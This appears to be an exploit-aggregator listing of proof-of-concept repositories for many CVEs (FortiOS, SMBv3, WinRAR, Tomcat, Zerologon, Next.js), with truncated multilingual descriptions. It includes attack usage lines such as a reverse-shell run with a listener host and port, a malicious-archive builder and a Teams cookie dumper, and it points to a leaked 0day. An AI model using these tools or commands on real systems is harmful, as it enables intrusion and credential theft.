CVE-2022-40684

CVE-2022-40684 使用 RUST 编写的 CVE-2022-40684 POC（Fortinet FortiOS、FortiProxy 和 FortiSwitchManager）...

CVE-2020-0796

CVE-2020-0796 Working Exploit PoC CVE-2020-0796 - Reverse Bind Shell Tested using Python2.7 To Install: pip install -r requirements.txt To Run: python CVE-2020-0796-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

CVE-2021-1699

CVE-2021-1699 POC for CVE-2021-1699, an information disclosure bug in modem.sys...

CVE-2020-14343-PyYAML

CVE-2020-14343 PyYAML Deserialization Vulnerability POC Vulnerability Overview...

sap-netweaver-0day-CVE-2025-31324

被称为 Scattered Lapsus$ Hunters 的超级集团——由 ShinyHunters、Scattered Spider 和 Lapsus$ 联合组成——已泄露此 0day 的 POC。 该 0day 由 ShinyHunters 创建，并从正在积极利用该漏洞的中国国家行为者手中窃取。 泄露地址：https://t.me/leavemealonefbi/185...

java-stager

java-stager メモリ内でJavaファイルをダウンロード、コンパイル、実行できるPoC Java Stagerです。 これは研究目的のみであり、許可されていない場所では使用しないでください。 これは何ですか？ これはJames Williams氏のトーク「Next Gen AV vs My Shitty Code」の成果に基づいています。動画はこちら： https://www.youtube.com/watch?v=247m2dwLlO4&feature=youtu.be 私にとってトークの重要な部分は以下の通りです：...

CVE-2015-1635-POC

️⃣ CVE-2015-1635-POC HTTP.sys におけるリモートコード実行 MS15-034...

CVE-2024-7965

CVE-2024-7965 このリポジトリには、CVE-2024-7965のPoCが含まれています。これはARM64でのみ発生するV8の脆弱性です。 謝辞 Yuri Pazdnikov — ジュニア脆弱性研究者 @ BI.ZONE...

cve-2023-38831

CVE-2023-38831 WinRAR 漏洞利用 PoC 本仓库包含一个 Python 概念验证 PoC 脚本，用于利用 CVE-2023-38831，这是 WinRAR（版本 参数： ：诱饵文件的路径（例如 document.pdf、image.jpg）。 ：要执行的有效负载文件的路径（例如 script.bat、malware.exe）。 ：生成的恶意压缩包的名称（例如 poc.rar）。 示例： root@kitploit: python exploit.py document.pdf script.bat poc.rar 现场演示 以下展示了该漏洞利用的实际操作演示： ⚠️...

zer0dump

Zer0Dump Zer0dumpは、CVE-2020-1472（Zerologon）に関連する脆弱性を悪用して、パッチ未適用のWindowsドメインコントローラを完全に乗っ取るためのPoCエクスプロイト/ツールです。 特に感謝します：@dirkjanm および @SecureAuthCorp...

teams_dump

最新版Microsoft Teamsのクッキーをダンプおよび復号化するPoC extract.pyは引数なしでダンプするだけ extract.exeはextract.pyをexeにパッケージ化したもの teamsdump.py データベースの値を一覧表示 root@kitploit: python.exe .\teamsdump.py teams --list Table: meta Columns in meta: key, value -------------------------------------------------- Table: cookies Columns i...

nice-cve-poc

精选 CVE PoC 一系列有趣的 CVE PoC CVE-2023-44487 - HTTP/2 快速重置攻击...

dora

dora 特徴 バックエンドで ripgrep を使用しているため、非常に高速 多くのAPIキーに対するエクスプロイト/PoC手順を提供し、バグバウンティハンティング向けの優れたレポート作成を支援 他のAPIキーファインダーとは異なり、dora はファイルパス、コンテキスト付きの行を表示するため、分析が容易 スクリプトに簡単に組み込むことが可能。使用例 を参照 インストール 事前にripgrep をインストールしてください。 root@kitploit: clone the repo $ git clone https://github.com/sdushantha/dora.git...

gftrace

gftrace Golang バイナリ向けのコマンドライン Windows API トレーシングツールです。 注意: このツールは PoC であり、進行中のプロトタイプですので、そのように扱ってください。フィードバックはいつでも歓迎します！ 仕組み Golang プログラムは、そのビルド方法や実行時の動作に関して多くの特徴がありますが、OS レイヤーとやり取りする必要があるため、どこかの時点で Windows API の関数を呼び出す必要があります。 Go のランタイムパッケージには asmstdcall という関数が含まれています。この関数は Windows API...

CVE-2025-30208_POC

Scan without proxy python3 poc.py -f urls.txt Scan with proxy python3 poc.py -f urls.txt --proxy http://127.0.0.1:8080...

CVE-2020-7247-exploit

CVE-2020-7247-exploit OpenSMTPD 6.4.0 - 6.6.1 远程代码执行 PoC 利用 参考: https://www.openwall.com/lists/oss-security/2020/01/28/3 用法 root@kitploit: python3 exploit.py 依赖 root@kitploit: pip3 install --user pwntools...

CVE-2025-24813-Exploit

CVE-2025-24813-Exploit Apache Tomcat Remote Code Execution RCE Exploit - CVE-2025-24813 🚀 Apache Tomcat RCE Exploit - CVE-2025-24813 🔥 Exploit & Detection Tool for Apache Tomcat RCE CVE-2025-24813 This repository contains a PoC Proof of Concept exploit for the Apache Tomcat Remote Code Execution...

CVE-2022-26135

-CVE-2022-26135- CVE-2022-26135 CVE-2022-26135 poc https://www.xust.edu.cn/cve/index.jsp...

CVE-2025-29927-PoC

CVE-2025-29927 — Bypass de autorización de middleware de Next.js — PoC verificado Un pequeño proyecto de GitHub para verificar CVE-2025-29927 Bypass de autorización de middleware de Next.js en un laboratorio de autorización local VMware: máquina objetivo Ubuntu + máquina atacante Kali. ⚠️ Aviso...

CVE-2025-55182

CVE-2025-55182 - PoC SCRIPT /!\ Disclaimer: This script is provided 'as is' and exclusively for educational purposes. Users are strongly advised to exercise caution and utilize it within the boundaries of legal and ethical considerations...